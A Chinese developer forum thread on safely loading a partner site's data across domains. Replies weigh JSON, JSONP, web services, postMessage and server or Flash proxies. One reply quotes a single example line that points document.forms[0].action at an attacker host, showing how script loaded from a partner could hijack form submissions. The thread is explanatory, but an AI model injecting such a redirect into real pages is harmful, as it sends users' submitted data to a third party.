我们跟别人的网站合作,我们想把页面设计好以后,把页面的主要的HTMl代码放到我们的
服务器上面,有对方提供数据,我们解析之后然后进行页面填充。
我们想到的是使用JS加载对方的XML或者JS、JSON,现在的XML接口对方没有,JSON的倒是有一个,但是我们认为可能存在安全隐患,所以不想使用
JSON的接口。除了这两种方法还有其他方法吗?

解决方案 »

  1.   

    既然是合作的网站,那么可以
    用message事件来做.p.s. ie6不能用这个事件
      

  2.   

    其实无论xml还是json,都有可有带来跨站攻击。没有哪种数据更安全的说法。
    微软有一套框架 Microsoft Information Security,可以考虑试试。web service是跨平台、跨语言的解决方案之一
      

  3.   

    Json和安全有什么关系,google的拳头产品Gmail, Maps几乎全部使用的Json
      

  4.   


    message事件是什么语言里面的???
      

  5.   

    web service是需要服务器来解析的吧?实时抓取的话,我担心服务器的压力会很大
      

  6.   

    对方返回的实际上是JS代码,不是JSON字符串,因为由于跨域问题,我也不可能取到
    对方服务端返回的字符串。
    我们最担心的是如果他返回的代码里面含有alert或者open之类的的语句。
    那用户会把这个责任怪罪到我们的头上
      

  7.   

    压力会很大是的,实时查询压力是很大,尤其在并发多的情况下。web services一般来说多由c#,java这类编译型语言来开发。
      

  8.   

    对方返回的实际上是JS代码,不是JSON字符串,因为由于跨域问题,我也不可能取到
    对方服务端返回的字符串。肯定是可以取得对方服务端返回的字符串的<script src="http://www.abc.com/1.aspx?a=1" />直接访问http://www.abc.com/1.aspx?a=1这个地址就可以查看javascript输出了。
    当你使用src加载时,这个返回的javascript就如同在当前页面自己写的脚本一样了。你的当心当然是很有道理的,如果脚本中返回这样的输出document.forms[0].action='http://黑你不商量.com/get.aspx'这就麻烦了。
      

  9.   

    有json就改良成jsonp方式,因为你们是不同域的嘛,如果你不通过服务器代码请求数据的话。
      

  10.   


    jsonp返回的也是JS代码吧??
      

  11.   


    直接使用对方的js?这个实现方案,真是闻所未闻。太不合理了。合作方提供数据,就应该提供的仅仅是数据。咋还弄个js?难道合作方知道你页面元素的组织结构?他来给你呈现?数据组织结构或者传输格式双方协商好就行,安不安全并不在这数据本身,而在双方交互方式中。直接在客户端去请求对方数据,再填充页面。实为不妥,中间你没办法过滤不必要的信息,比如你说的alert。更好的做法是用服务器代理
      

  12.   

    我认为楼主是在这里无病呻吟,如果担心合作伙伴黑你们,这个不是技术层面的问题,ok?如果信誉都不能保证,那你们担心不光是黑你们,网站统计大家都调用Google的JS,广告也调用Google的JS,可是我们被黑了吗? 
      

  13.   

    那就让对方返回标准的json数据,而不是js代码,那么需要解决跨域问题,你可以用flash做一个代理,这样js通过flash这个代理来取数据。P.S. flash跨域访问url代码:var header1:URLRequestHeader = new URLRequestHeader("Content-Type" ,"application/json;charset=utf-8");
    var header2:URLRequestHeader = new URLRequestHeader("Accept" ,"application/json"); var request:URLRequest = new URLRequest(src);
    request.method = URLRequestMethod.GET;
    request.requestHeaders = [header1 ,header2]; 

    var loader:URLLoader = new URLLoader();
    loader.dataFormat = URLLoaderDataFormat.TEXT;
    loader.addEventListener(Event.COMPLETE,
    function():void{
    callBack(loader.data);  
    });
    loader.load(request);